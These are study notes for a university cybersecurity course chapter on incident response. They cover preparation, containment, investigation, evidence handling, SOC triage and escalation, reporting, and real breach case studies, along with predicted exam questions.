- Policy: management commitment, purpose and scope, the definition of an incident, roles and authority (including the team's authority to disconnect equipment), severity ratings, reporting requirements, performance measures (NIST).
- Plan: mission, strategies and goals, senior management approval, how the team communicates inside and outside, metrics, and a roadmap to mature the capability; reviewed at least once a year (the IRP).
- Procedures and playbooks: the steps for each incident type (phishing, ransomware, keylogger, account compromise, DDoS, data leak, insider): the trigger, the checks, the first containment actions, who is notified and when to escalate. SOAR runs parts of them automatically (SOAR).
The jump kit and communications
- Jump kit: a portable case, ready at all times and never borrowed from: a forensic laptop with packet capture and forensic software, blank media, cables and basic network equipment, chain of custody forms, evidence bags and tags, a bound notebook, trusted tools on removable media.
- Contact lists: team members and on-call rota, management, legal, vendors, the ISP, the national CERT, the police, each with a backup contact and an alternative way to reach them.
- Out of band channels: phones, an encrypted chat, a war room, because the attacker may be reading corporate email, or email may be down.
- Reference material: network diagrams, an asset inventory with owners, baselines of normal activity, clean system images, hashes of critical files.
To remember it: the earthquake go-bag. Earthquake safety campaigns in Nepal tell families to keep a go-bag by the door: torch, water, documents, a list of phone numbers. Nobody packs it after the shaking starts, and nobody borrows the torch for a power cut. The jump kit is the team's go-bag, under the same two rules.
Practice. Tabletop exercises walk the team through a scenario on paper; simulations test the tools. Each exercise ends like a real incident, with lessons and changes. Preparation also covers prevention (patching, hardening, MFA, logging, backups, awareness training), which is why NIST files it here: fewer incidents reach the team.
- Describe the structure and staffing models of an incident response team. What must an organization prepare before an incident occurs? Predicted, ch 6 Q2 · 4+6
Containment and remediation: stop the spread, then remove the cause PREDICTED
Three questions in turn. Containment asks how to stop it getting worse; remediation asks how to remove it completely and return to normal safely. The course runs them as steps 4 and 6, with the investigation (step 5) between them; NIST keeps containment, eradication and recovery in one phase because they overlap: a new infected host found during remediation goes back through analysis and containment.
To remember it: a burst pipe in the hostel. Containment is closing the valve and lifting the laptops off the floor; investigation is finding which joint burst and why; remediation is replacing the pipe, drying the room and checking the other joints. Nobody replaces a pipe while it is still spraying.
The course's containment step
| Activity | Examples |
|---|---|
| Coordinate incident management | the team, communications, activities, documentation |
| Light and quick threat analysis | network, system, user: enough to act, the full picture comes later |
| Identify the main attack and compromise vectors | IP addresses, ports, signatures, email |
| Isolate the targeted asset | remove it from the network, disable the account |
| Implement emergency changes as required | network, system, user |
Isolating the targeted asset is the core of the step. The class notes give its two forms, removing the asset from the network or disabling the compromised account, followed by emergency changes such as blocking malicious IP addresses at the firewall or changing administrator passwords.
The deck's containment actions, in practice:
- Isolate the affected systems and networks, and stop compromised systems connecting to other systems on the network.
- Close specific ports and mail servers; update firewall filtering.
- Change system administrator passwords, rotate private keys and service or application account secrets where compromise is suspected, and revoke privileged access.
- Block, and log, unauthorized access, malware sources and outbound (egress) traffic to known attacker IP addresses; prevent DNS resolution of known attacker domains.
- Sandbox: advanced SOCs may steer the adversary into a sandbox to watch the activity, gather more evidence and identify its tactics, techniques and procedures (TTPs).
- Watch the reaction: monitor for signs that the attacker is responding to the containment, such as a switch to a new server or a burst of destruction.
- Report the updated timeline and findings to the team, including new atomic indicators (single values such as an IP address, a domain or a file hash) and behavioral ones (patterns of activity, such as a process that always spawns PowerShell).
Choosing a containment strategy
| Strategy | What it does | Example |
|---|---|---|
| Isolate the host | cuts the machine off the network, keeps it powered for evidence | EDR network isolation of an infected laptop |
| Disable or reset accounts | stops stolen credentials working | disable Rita's account; force password resets |
| Block indicators | stops traffic to and from the attacker | block the C2 address at the firewall; sinkhole the domain in DNS |
| Segment | separates network zones | cut the link between the IT and OT networks |
| Take a service offline | removes the exposed entry point | Equifax took its dispute portal offline (Equifax) |
| Halt operations | stops the business process itself | Colonial Pipeline stopped 5,500 miles of pipeline (Colonial) |
| Filter or rate limit | absorbs an attack while staying up | DDoS scrubbing, rate limits |
| Redirect to a sandbox | watches the attacker in a safe copy | only after the legal team agrees (NIST) |
Short term and long term. Short term containment is the emergency stop: isolate, block, disable. Long term containment keeps the business running while a clean fix is prepared: a temporary firewall rule, a patched replacement server, closer monitoring.
Choosing: NIST's six criteria.
- potential damage to and theft of resources;
- the need to preserve evidence;
- service availability: what the business loses while it is cut off;
- the time and resources the strategy needs;
- its effectiveness: partial or full containment;
- its duration: an emergency workaround for four hours, a temporary one for two weeks, or a permanent fix.
Two traps. Disconnecting can destroy evidence held in memory and can itself trigger damage: NIST's example is a malicious process that pings another host and encrypts or wipes the disk when the pings start failing. Delaying containment to watch the attacker is dangerous, and an organization that knowingly lets a compromise continue may be liable if its systems are used to attack others.
The course's remediation step
| Activity | Examples |
|---|---|
| Threat network remediation | block IP addresses, ports, domains and email senders; update firewall, IDS, APT and SIEM rules |
| Threat malware remediation | update system and network antivirus signatures; engage the vendors |
| Threat system remediation | remove or ban infected apps and plugins, clear malicious inbox rules, fix what the vulnerability assessment found |
| Threat user remediation | individual and group awareness sessions about the threat |
| Declare the incident remediated | full, partial, or accepted |
- Inbox rules: an attacker who takes over a mailbox often adds rules that forward mail out or delete the victim's replies, to hide a fraud; they survive a password reset unless someone clears them.
- Full, partial, accepted: full means everything is fixed; partial means some work remains, tracked with an owner and a date; accepted means management has formally accepted the residual risk (risk acceptance, risk management).
The standard eradication checklist says the same in NIST's words:
- Remove every component: malware, web shells, persistence, rogue accounts.
- Close the way in: patch or disable what was exploited; fix the misconfiguration.
- Reset credentials: every password, key and token the attacker may hold, privileged ones first.
- Find every affected host: sweep with the IoCs; one missed host means reinfection.
Patching is not eradication. The Microsoft Exchange Server attack of March 2021 (zero-day) showed it: web shells planted before the emergency patch survived it, and where the Active Directory database had been stolen, the domain had to be rebuilt from scratch.
Recovery, the last part of remediation:
- Restore: rebuild from clean images or restore from known good backups, preferably offline ones, tested before they are needed.
- Harden: install patches, change passwords, tighten firewall rules and router access lists.
- Return in phases: critical services first; NIST advises quick, high value changes in days or weeks, then longer term infrastructure changes.
- Watch: raise logging and monitoring, because a resource attacked once is often attacked again.
- Explain the strategies used to contain an incident and the criteria for choosing one. Why is a chain of custody needed when evidence is collected during incident handling? Predicted, ch 6 Q3 · 5+5
- What questions does the investigation step of incident response answer, and which analyses are used to answer them? How is the incident then remediated? Predicted, ch 6 Q11 · 5+5
Investigation: the questions that scope an incident PREDICTED
Why after containment. Containment runs on a light, quick analysis, enough to stop the spread; the investigation then fills in the picture. Remediate without it and one forgotten backdoor lets the attacker straight back in, which is why NIST insists that eradication find every affected host.
The ten questions, in the attacker's order
| Stage | The deck's questions | Typical answers |
|---|---|---|
| Getting in | What was the initial attack vector? How is the adversary accessing the environment? Is the adversary exploiting vulnerabilities to achieve access or privilege? | a phishing email, a stolen VPN password, an unpatched web server; VPN logins, a web shell |
| Staying in | How is the adversary maintaining command and control? Does the actor have persistence on the network or device? What is the method of persistence? | beacons to a C2 domain; a malware backdoor, a web shell, legitimate credentials, remote tools |
| Spreading | What accounts have been compromised, and at what privilege level? What method is being used for reconnaissance; is lateral movement suspected or known? How is lateral movement conducted? | domain admin, local admin or user accounts; network scans, directory queries; RDP, network shares, malware |
| Taking | Has data been exfiltrated and, if so, what kind and via what mechanism? | customer records sent over HTTPS to cloud storage; source code; nothing |
They follow the path the kill chain and ATT&CK describe (kill chain, ATT&CK): initial access, command and control, persistence, privilege escalation, discovery, lateral movement, exfiltration. Each question is asked about a fact, and the answer goes in the timeline.
To remember it: investigate it like a burglary. How did he get in (the window)? Can he come back (a copied key)? Which rooms did he walk through? What did he carry out? The ten questions are these four, asked about a network.
Five analyses that answer them
| Analysis | Sources and methods |
|---|---|
| Threat network analysis | firewall, cloud application and asset logs, intercepted traffic, traffic and data flows, the SIEM |
| Threat malware analysis | antivirus vendors, the malware's footprint and behavior, reverse engineering |
| Threat system analysis | event logs, installed apps and plugins, Active Directory and email activity, an authenticated vulnerability assessment, the SIEM |
| Threat user analysis | an interview with the targeted user: context, triggers, recent unusual activity or alerts |
| Threat research analysis | online searches for similar threats, professional forums, engaging the vendor |
A made-up example: a college results portal. Imagine that the night before results are published, the portal shows a new administrator account. The investigation answers the questions one by one. Way in: a staff member typed a password into a fake login page from a phishing email (user analysis: the interview finds the email). Access: VPN logins at 2 a.m. from abroad (network analysis). Persistence: a second, hidden admin account (system analysis). Spread: from the portal to the marks database, through a password both shared (system analysis). Taken: the marks file was copied out (network analysis shows the upload). Each answer becomes a remediation task: reset both passwords, delete both accounts, separate the passwords, and decide whether the stored results can still be trusted.
Its output is the scope (hosts, accounts, data), the root cause and the timeline, which feed remediation, the report and the lessons learnt (reporting, lessons learnt); evidence kept under a chain of custody keeps the findings usable in court (evidence). In the real cases: Equifax's team rebuilt the attackers' queries from logs the attackers had not erased; Colonial Pipeline hired Mandiant; FireEye's investigation of its own breach led back to the SolarWinds update.
- What questions does the investigation step of incident response answer, and which analyses are used to answer them? How is the incident then remediated? Predicted, ch 6 Q11 · 5+5
Evidence and the chain of custody PREDICTED
Why evidence matters in a response. Evidence is gathered first to resolve the incident (what happened, which hosts, which data), but it may later be needed for a prosecution, a lawsuit, an insurance claim, or to show a regulator what was done. NIST requires that evidence be accounted for at all times: whenever it passes from person to person, a chain of custody form records the transfer with both signatures. Evidence whose handling cannot be shown is easy for the other side to challenge, so it is collected as if it will be needed, from the first minute. It is the third of the course's five rules (preserve evidence).
To remember it: the question paper packet. A board exam's question papers travel sealed; every hand-over is signed for, and the seal is broken in the exam hall in front of the invigilators, so nobody can claim the papers were swapped on the way. A chain of custody does the same for a disk image: sealed, signed at every hand, opened only where it is used.
Collecting it: most volatile first
Order of volatility (RFC 3227, 2002): collect what disappears fastest first.
- CPU registers and cache
- routing table, ARP cache, process table, kernel statistics, memory
- temporary file systems
- disk
- remote logging and monitoring data
- physical configuration and network topology
- archival media, such as backups
The order runs outward from the processor: what lives for nanoseconds, then what is lost at power-off, then what survives a reboot, then what sits on other machines and on shelves. So an infected server that is still running has its memory captured before anyone shuts it down: running processes, open connections and encryption keys live only there.
Handling it
- Image, then work on copies: a bit for bit image of the disk taken through a write blocker; the original is sealed and stored.
- Hash: a SHA-256 hash of the original and of each copy; matching hashes prove nothing changed.
- Log every item (NIST): identifying information (location, serial number, model, hostname, MAC and IP addresses); the name, title and phone number of everyone who collected or handled it; the time and date, with time zone, of every handling; where it was stored.
- Sign every transfer: giver and receiver both sign the chain of custody form each time the evidence changes hands.
- Store securely: a locked evidence store with its access logged.
- Work in pairs: NIST advises one handler to act while the other records.
| Item | SHA-256 (first digits) | From | To | Date and time (UTC) | Purpose |
|---|---|---|---|---|---|
| 1: memory image, FIN-PC-07 | 9c41 e07b | analyst A (collected) | evidence store | 14 Sep, 03:12 | seal and store |
| 2: disk image, FIN-PC-07 | 52aa 1f9d | evidence store | forensic analyst B | 14 Sep, 09:40 | analysis on a copy |
The rows above are a made-up example of a chain of custody log: every hand the evidence passes through is one signed line.
Nepal. Offences under Nepal's Electronic Transactions Act 2008, such as unauthorized access to a computer system, have to be proved with digital evidence (cyber law in Nepal). In the NIC Asia Bank SWIFT fraud of 2017 (escalation), the police Central Investigation Bureau investigated how the credentials had been stolen, which is exactly the kind of case that rests on well kept logs and images.
A decision, not a reflex. Not every incident needs forensic evidence; NIST notes that most malware incidents do not merit it. The decision to collect is made early, with legal advice, because it changes the containment choice: pulling the plug is quick but loses the memory.
- Explain the strategies used to contain an incident and the criteria for choosing one. Why is a chain of custody needed when evidence is collected during incident handling? Predicted, ch 6 Q3 · 5+5
6.3Incident triage and escalation
Triage: sorting alerts through the SOC tiers PREDICTED
Why triage. A SIEM can raise thousands of alerts a day, most of them false positives. Worked in arrival order, the queue exhausts the analysts (alert fatigue) and buries the one alert that matters. Triage is the filter between detection and response; in the course's framework it is steps 2 and 3, detection and categorisation, done fast.
To remember it: an emergency ward on a festival night. The nurse at the door treats nobody. She decides who goes first: the man who cannot breathe before the boy with a cut hand, and the cut hand before the sprained ankle. A tier 1 analyst is that nurse.
The triage steps
- Receive and log: open a ticket; note the source, the time in UTC, the asset and the user.
- Validate: read the raw events behind the alert, compare with the asset's normal behavior, rule out known harmless causes such as a scheduled scan. A false positive is closed with the reason written down, and the rule is tuned.
- Enrich: add context: the asset's owner and criticality, the user's role, threat intelligence on the IP, domain or hash (a VirusTotal lookup, for example), related alerts in the SIEM.
- Scope: one host or many, one account or several, still happening or over?
- Categorize and prioritize: the incident type and its priority (categorisation).
- Act or hand over: run the playbook's first actions, then escalate (escalation) or resolve.
The SOC tiers
| Tier | Role | Typical work | Hands up to |
|---|---|---|---|
| Tier 1 (L1) | triage analyst | watches the queue, validates, enriches, closes false positives, runs the first playbook steps | tier 2, once an incident is real and beyond the playbook |
| Tier 2 (L2) | incident responder | scopes, contains, investigates the root cause, coordinates remediation | tier 3 for deep analysis; the SOC manager for severe incidents |
| Tier 3 (L3) | experts: threat hunter, forensic and malware analyst | disk and memory forensics, malware reverse engineering, hunting, new detection rules | the incident lead and management |
| SOC manager | runs the SOC | staffing, SLAs, metrics, declares a major incident | the CISO |
A triage walked through (lab 12). The syllabus lab asks for triage by playbook. Take the course's compromised credentials scenario. The alert is a flagged file hash; tier 1 validates it against threat intelligence as known malware and pivots to the recipient, Rita, whose account shows repeated failed logins across servers from an IP on a known command and control list. Tier 1 records a true positive, categorizes it as account compromise with malware, sets P2 and escalates. Tier 2 finds the same IP probing Bob's account, disables Rita's account, disables Bob's, blocks the C2 address at the firewall, and passes the malware sample to tier 3.
The first steps of a phishing playbook, as tier 1 follows them: check the headers and the sender's domain; open the attachment or link in a sandbox, never from the office network (rule 2); search the mail logs for every recipient; if anyone clicked, escalate to tier 2 as a possible compromise; block the sender and the URL; purge the email from all mailboxes; tell the reporter the outcome.
Automation. Enrichment, lookups and ticket creation are the same every time, which is why SOAR playbooks take them over and cut response time (SOAR); the kill chain stage of an alert (kill chain) is a quick guide to its urgency, since an alert at command and control means the attacker is already inside.
- What is incident triage? Explain how an alert moves through the tiers of a security operations centre, and when and how an incident is escalated. Predicted, ch 6 Q4 · 4+6
Escalation: who is told, when, and on what trigger PREDICTED
Two directions.
- Functional escalation: up in skill, from tier 1 to tier 2 to tier 3, or across to a specialist team: network, database, cloud, an outside forensic firm.
- Hierarchical escalation: up in authority, to the SOC manager or incident manager, the CISO, senior management, the board. They decide what analysts cannot: shutting down a business service, bringing in outside responders, notifying regulators, speaking to the public.
The course's contact list has an escalation line and an on-call line for exactly this reason (preparation): an escalation path that is not written down is found by trial and error, at night.
Escalation criteria
An escalation matrix in the plan turns judgement into triggers:
- Severity: every P1 goes straight to the incident manager; a P2 within the hour.
- Scope: several hosts or accounts, a domain controller or critical server, spread still under way.
- Data: personal, payment or health data possibly exposed, which brings in legal, because a notification clock may have started.
- People: an employee involved, which brings in HR and legal (the insider case).
- Crime: fraud, extortion or a ransom demand, which brings in law enforcement.
- Publicity: customers affected or reporters asking, which brings in public relations.
- Time: an SLA about to be missed, or nobody answering.
SLAs and response targets
| Priority | Acknowledge within | Update management | Example |
|---|---|---|---|
| P1 critical | 15 minutes | every hour | ransomware spreading |
| P2 high | 1 hour | every 4 hours | an admin account compromised |
| P3 medium | 4 hours | daily | one laptop infected, contained |
| P4 low | 1 business day | weekly summary | phishing reported, nobody clicked |
The times are illustrative; each organization writes its own into its SLA.
When nobody answers. NIST's escalation process: repeat the first contact; after a brief wait, perhaps 15 minutes, escalate to the incident response team manager; if there is still no response, go a level higher, and repeat until someone responds.
Outside the organization
Some escalations are required by law, with a clock running:
- GDPR (EU): a personal data breach goes to the supervisory authority without undue delay and, where feasible, within 72 hours of becoming aware of it; the people affected are told without undue delay when the risk to them is high.
- US SEC: a listed company discloses a material cybersecurity incident within four business days of deciding that it is material.
- Nepal: Nepal Rastra Bank's Cyber Resilience Guidelines (2023), for the payment system operators and payment service providers it licenses, require a cyber incident that could be material or systemic to be reported to the regulator immediately, and incidents with signs of criminal intent, such as fraud or extortion, to be escalated to law enforcement; the response plan must name who is notified, who decides, and what is reported when.
Nepal case: NIC Asia Bank, October 2017. During the Tihar holidays, while the bank was closed, attackers used the bank's SWIFT system to send about 4.4 million US dollars in fraudulent transfers to accounts in several countries, among them the United States, the United Kingdom, Japan and Singapore. When the transfers came to light, Nepal Rastra Bank asked the authorities and banks abroad not to release the payments; most of the money was recovered, about 580,000 dollars was not. The police Central Investigation Bureau investigated how the credentials were stolen, and KPMG was engaged. The escalation lesson is double: fast outward escalation to the regulator and the correspondent banks saved most of the money, and a holiday, when on-call rotas are thin, is exactly when attackers test an escalation path.
- What is incident triage? Explain how an alert moves through the tiers of a security operations centre, and when and how an incident is escalated. Predicted, ch 6 Q4 · 4+6
6.4Post-incident analysis and reporting
Post-incident analysis: lessons learnt, root cause and metrics PREDICTED
The step most often omitted. NIST calls learning and improving one of the most important parts of incident response, and the one most often skipped: once service is back, everyone wants to move on. Skipping it all but guarantees the same incident again.
The course's lessons learnt step
| Activity | What it does |
|---|---|
| Root cause analysis | identifies and documents the triggers and the security gaps that let the incident happen |
| Controls and processes readiness | evaluates the efficiency of the current security controls and processes in the light of the incident: how well they worked |
| Incident trends analysis | asks whether past incidents are being learnt from, and whether the risk profile is changing |
| Mitigation plan | reduces the impact of similar incidents in future |
| Improvements plan | stops similar incidents happening again |
The lessons learned meeting
- When: within several days of the end of the incident (NIST); required after a major incident, optional after minor ones; several small incidents can share one meeting.
- Who: everyone involved, plus those whose help will be needed next time, with a moderator skilled in running groups.
- How: blameless: the aim is to fix the process, not to punish a person, or people hide their mistakes.
- NIST's questions: exactly what happened, and at what times? How well did staff and management perform; were the procedures followed, and were they adequate? What information was needed sooner? Did any step hinder recovery? What would be done differently? How could information sharing with other organizations improve? What corrective actions would prevent a repeat? Which precursors or indicators should be watched for? What tools or resources are missing?
Root cause analysis (RCA)
The root cause is the deepest cause that, once fixed, stops the incident recurring; the trigger ("a user clicked") is rarely it. The five whys, applied to the Equifax breach (Equifax):
- Why was data stolen? Attackers exploited Apache Struts on the online dispute portal.
- Why was the portal exploitable? It was never patched, though a patch had been available since March 2017.
- Why not? The patch alert went to an out of date recipient list, and the follow-up scan missed the portal.
- Why did 76 days pass unnoticed? An expired certificate had stopped the traffic inspection device from seeing encrypted traffic.
- Why did nobody notice the certificate? Nothing tracked certificates or who owned each asset.
The root causes are asset, patch and certificate management, not "a hacker". Where there are several causes, a fishbone (Ishikawa) diagram sorts them under people, process and technology.
Metrics
| Metric | Measures | Clock runs from ... to |
|---|---|---|
| MTTD, mean time to detect | how long threats go unseen | start of the attack to detection |
| MTTA, mean time to acknowledge | how fast the SOC picks up an alert | alert to an analyst taking it |
| MTTC, mean time to contain | how fast the spread is stopped | detection to containment |
| MTTR, mean time to respond (or recover) | how fast an incident is resolved | detection to resolution; the report states which end it uses |
| Dwell time | how long the attacker was inside | first compromise to detection or eradication |
| Volume, false positive rate, cost per incident | workload, rule quality, budget | per month or quarter |
A worked example. Three incidents in a quarter were detected 2, 6 and 10 hours after they began, and resolved 4, 8 and 12 hours after detection:
If a SOAR playbook halves the resolution times next quarter, MTTR falls to 4 hours; if a new analytics rule catches attacks earlier, MTTD falls. The trend, not one value, shows whether the SOC is improving, which is the course's incident trends analysis in numbers. Equifax's dwell time of about 76 days is what a blind spot costs.
Outputs. The mitigation plan and the improvement plan, updated playbooks and detection rules, training, and data for the risk assessment (risk management) and for the budget. NIST adds that the collected incident data, especially hours and cost, justify the team's funding and reveal systemic weaknesses. All of it goes back into preparation, which is what closes the course's cycle (the eight steps).
- Explain post-incident analysis, including root cause analysis and the metrics MTTD and MTTR. What should an incident report contain, and who should receive it? Predicted, ch 6 Q5 · 5+5
The incident report and who receives it PREDICTED
Why write it. The report closes the incident formally; it is the reference for handling a similar one; its timestamped chronology and its estimate of the damage can matter legally, NIST notes, including as the basis of a prosecution; it is the evidence of due care for auditors and regulators; and it supports the budget.
The course's reporting step
| Activity | Examples |
|---|---|
| Ongoing reporting | documentation and evidence generated as much as possible during the earlier steps, not written from memory at the end |
| Evidence gathering | the threat actors, the attack vectors, the attack surface |
| Incident documentation | threat and incident details, triggers, owner, findings, timeline |
| Incident register | an overall register, created or updated, to track progress and generate statistics |
| Incident report communication | internal and external: staff, management, the board, vendors, clients, government, regulators, law enforcement |
The incident register is the organization's list of every incident, open or closed. It serves twice: during an incident, the detection step checks it for similar reports; over a year, its statistics feed the trends analysis of the lessons learnt step (lessons learnt).
Structure
- Executive summary: one page in business language: what happened, the impact, the status now, the decisions needed.
- Incident details: ID, category, priority, detection source, reporter, dates and times in UTC, handlers.
- Timeline: a timestamped chronology from first compromise to closure, built from logs.
- Scope and impact: systems, accounts and data affected; functional and information impact; people or records affected; downtime and cost.
- Root cause and attack path: how the attacker got in and moved, mapped to kill chain stages or ATT&CK techniques (kill chain, ATT&CK).
- Actions taken: containment, investigation and remediation, with times.
- Evidence and indicators: IoCs (hashes, IP addresses, domains), the evidence list and its chain of custody references.
- Lessons and recommendations: what worked, what did not, and corrective actions, each with an owner and a due date.
- Appendices: log extracts, technical detail, copies of the notifications sent.
Who receives what
| Reader | Needs | Form |
|---|---|---|
| Board and senior management | business impact, risk, cost, decisions | the executive summary |
| IT and security teams | attack path, IoCs, fixes | the technical report |
| Legal and compliance | which data, which laws, deadlines met | the notification record |
| Regulators | the facts the rule requires, on time | the regulator's own form (GDPR: 72 hours; NRB: immediately for a material incident) |
| Customers and the public | what happened to their data, what to do now | a plain notice; a press statement through PR |
| Law enforcement | evidence that will stand in court | an evidence package with its chain of custody |
| Peers and CERTs | indicators to block | shared IoCs; Colonial Pipeline shared its IoCs with law enforcement |
To remember it: one fault, many letters. When a fibre cut takes out the internet in part of the valley (made up), the engineers get the exact location and the splice plan, the managers get the outage time and cost, the regulator gets the formal notice, and customers get one SMS: service down, back by 6 p.m. Same incident, a version for each reader, all from one record.
Reporting runs during the incident too. The ticket is updated throughout: NIST lists the status, a summary, the indicators, related incidents, every handler's actions, the chain of custody, impact assessments, contacts, the evidence list, comments and next steps. Management gets status updates at the rhythm the SLA sets, and all of it goes through management, as the fourth rule says (do not make things worse).
One skeleton, two uses. The findings report at the end of an audit or a security test (executive summary, scope, findings and evidence, risk rating, recommendations, appendices) has the same shape (the audit process).
Retention. Reports and evidence are kept as the record retention policy says; NIST cites a US federal schedule of three years after the follow-up actions are complete.
- Explain post-incident analysis, including root cause analysis and the metrics MTTD and MTTR. What should an incident report contain, and who should receive it? Predicted, ch 6 Q5 · 5+5
6.5Case studies of real incidents
Seven recent attacks, and what would have stopped them PREDICTED
| Attack | Date | Attacker actions | Potential prevention (the deck) |
|---|---|---|---|
| SolarWinds supply chain attack | late 2020 (found) | broke into SolarWinds' build process and put a backdoor into Orion updates that about 18,000 customers installed (SolarWinds) | stronger supply chain security practices, regular security audits, threat intelligence sharing |
| Microsoft Exchange Server exploits | early 2021 | exploited zero-day flaws in on-premises Exchange (ProxyLogon), planted web shells and stole mailbox data; Microsoft's emergency patches came on 2 March 2021 | timely patching, strong network security, robust intrusion detection |
| LastPass breach | December 2022 (disclosed) | used what they had stolen in August 2022 to plant a keylogger on a DevOps engineer's home computer, then copied encrypted customer vault backups from cloud storage | stronger password policies, multi-factor authentication, regular security audits |
| Uber breach | September 2022 | bought a contractor's stolen password and pushed MFA requests until one was accepted (Uber) | robust access controls, regular security assessments, employee awareness training |
| Okta breach | January 2022; October 2023 | 2022: LAPSUS$ reached a support contractor's laptop for five days; 2023: a service account password saved in an employee's personal Google account let attackers into the support system | strong password policies, multi-factor authentication, regular security audits |
| T-Mobile breach | August 2021 | went in through a router exposed to the internet (the attacker's own account), moved from testing environments to IT servers holding customer data by brute force (T-Mobile's account), and copied personal data, Social Security numbers included, of about 76 million people | improved network security, data encryption, regular vulnerability assessments |
| Colonial Pipeline ransomware | May 2021 | DarkSide encrypted IT systems after getting in through a legacy VPN account with a compromised password and no MFA (Colonial) | stronger network security, regular patching, robust backup and recovery |
| Row | The deck says | The company's own account |
|---|---|---|
| Colonial Pipeline | phishing emails led to the ransomware | a compromised password on a legacy VPN profile with no MFA (the CEO's testimony to the US Congress) |
| LastPass | phishing emails tricked employees into revealing their logins | a keylogger on a DevOps engineer's home computer, planted through an unpatched media program (LastPass, 2023) |
| Okta | January 2022, with the personal Google account root cause | that root cause is the October 2023 support system breach, published in November 2023; the January 2022 incident was LAPSUS$'s, through a support contractor |
| Uber | MFA requests sent to an employee | an external contractor (Uber's own update) |
| T-Mobile | vulnerabilities, particularly in its billing systems | an exposed router and testing environments, then brute force (the attacker's and T-Mobile's accounts); no mention of billing systems |
Okta's root cause, as the deck tells it, in four moves:
- The slip: an employee signed in to a personal Google account in the Chrome browser of an Okta-managed laptop, and the username and password of a service account were saved into that personal account.
- The exposure: anything with access to the personal account (a rogue browser extension, an app, a compromised machine) could now reach a work credential; Okta judged the most likely route to be a compromise of the employee's personal Google account or device.
- The damage: the service account could view and update customer support cases, so the attackers downloaded files of 134 customers, some of them browser session recordings (HAR files) holding session tokens, and used those tokens to hijack the Okta sessions of five customers.
- The fix: the deck's prevention line (strong password policies, MFA, regular audits), plus personal and work identities kept apart on managed devices and service account secrets kept in a vault.
The pattern. Four of the seven began with an identity: Uber's bought password and accepted push, Okta's contractor access and saved credential, Colonial's old VPN account, LastPass's captured master password. Two began with something exposed and unpatched: Exchange servers and T-Mobile's router. One came through a trusted vendor: SolarWinds. The deck's preventions repeat because the causes repeat: MFA and password policy, patching and assessments, audits of suppliers.
To remember it: read the table as the eight steps. Each row is an incident that the framework would have handled: the attacker actions column is what detection and investigation find; the prevention column is what the lessons learnt step feeds back into preparation (the eight steps).
- For any four of the following attacks, describe what the attackers did and what could have prevented it: the SolarWinds supply chain attack (2020), the Microsoft Exchange Server exploits (2021), the LastPass breach (2022), the Uber breach (2022), the Okta breach (2022), the T-Mobile breach (2021) and the Colonial Pipeline ransomware attack (2021). Predicted, ch 6 Q13 · 10
Case: the terminated vice president who kept reading the email COURSE
The source. The case is one of CERT's insider threat cases (Carnegie Mellon University's Software Engineering Institute); CERT's Common Sense Guide to Prevention and Detection of Insider Threats (3rd edition, 2009) uses it under the practice "deactivate computer access following termination". The class notes set it as a case study question in three parts.
a. What happened, and how the organization suffered
What happened. The insider had been director of information technology, then vice president of technology, at a company that published financial market information; he oversaw its network and its internal email system. Three years after he was terminated he logged in remotely to the email system, which worked because user IDs and passwords had hardly changed in those three years. For more than five months he read the email of the human resources director and senior executives, looking for discussions of which employees would be fired, and used a Yahoo! account to warn two of them. They told their supervisors, which started the investigation; remote access logs and records from Yahoo! and his ISP identified him. He was convicted, ordered to pay $32,000 in fines and restitution, and given a year's probation, the first six months under home confinement.
How the organization suffered:
- Confidentiality: five months of executive and HR email, including planned terminations, read by an outsider (CIA triad).
- Money: more than $100,000 spent on the investigation alone.
- Operations and trust: confidential personnel decisions leaked to the very staff concerned; managers could not know what else had been read or passed on.
- Reputation and legal exposure: leaked personnel matters invite disputes, and a publisher of financial information sells trust above all.
b. The factors that led to it
| Factor | What failed |
|---|---|
| No offboarding | his accounts and remote access were not disabled when he left |
| Static credentials | user IDs and passwords virtually unchanged for three years, including the ones an administrator knows |
| Concentrated privilege | one person oversaw both the network and the email system, and knew its accounts |
| No access review | nobody compared active accounts with current staff |
| No monitoring | remote logins to email were logged but not reviewed or alerted on, for five months |
| Password only remote access | no second factor, so a known password was enough |
Behind them, a motive: a dismissed technical executive. CERT's guidance singles out terminated technical employees for particular attention, because they know where the weak points are. Today an insider need not even be angry: the LAPSUS$ group advertised for staff who would sell their VPN access (types of incident).
c. What should have been done
- Offboarding: an HR to IT checklist that disables every account (network, email, VPN, cloud, administrator) by the last day, at the moment of notice for a privileged or disputed departure, and collects devices and tokens.
- Reset what he knew: change every shared, service and administrator password he could have known; rotate keys.
- Password policy: individual accounts, no shared credentials, a password vault for privileged accounts, and privileged and shared passwords rotated on a schedule and whenever an administrator leaves.
- MFA on all remote access: a remembered password alone would then have been useless.
- Access reviews: accounts checked against the HR list every quarter, so stale and orphaned accounts (whose owner has left) are found and disabled; accounts dormant for a set period, such as 60 days, disabled automatically.
- Least privilege and separation of duties: no one administrator controls network and email unchecked; privileged sessions recorded.
- Monitoring: SIEM rules on logins by disabled or dormant accounts, logins at odd hours or from odd places, and mailbox access by administrators; UEBA baselines (UEBA).
- Logs and a plan: logs kept long enough to investigate, and a response plan that brings in legal and HR as soon as an insider is suspected.
Read as an incident. Detection came from people, not tools: two employees reported. Categorisation: unauthorized access, restricted, since an insider inquiry must stay quiet. Containment was to disable the account and change every credential he might know. The investigation used remote access logs plus outside records obtained through legal process, and every lesson landed in preparation. Chapter 7 teaches the insider controls in general (insider controls).
- The insider was formerly employed as director of information technology and promoted to vice president of technology by the victim organization, which published financial market information. During his employment, the insider was responsible for overseeing the company’s computer network and internal email system. Three years after his termination, the insider remotely accessed the organization’s internal email system. The insider was able to remotely access the company’s network because user IDs and passwords remained virtually unchanged over the three-year period. The insider spied on email traffic for more than five months and intercepted emails of the human resources director and high-level executives. The insider focused on emails that discussed terminating employees. The insider used a Yahoo! email account to notify two employees of their potential terminations, and those employees reported the incidents to their supervisors. The victim organization spent more than $100,000 investigating the hacker. Remote access log files as well as records from Yahoo! and the insider’s ISP connected him to the crime. The insider was arrested, convicted, ordered to pay $32,000 in fines and restitution, and sentenced to one year of probation with the first six months toed under home confinement. a. Explain in brief what happened and how did the organization suffer? b. What are the factors that led to this event? c. What should have been done to prevent this issue? Class notes, ch 6 Q1
WannaCry, May 2017: a worm meets unpatched Windows PREDICTED
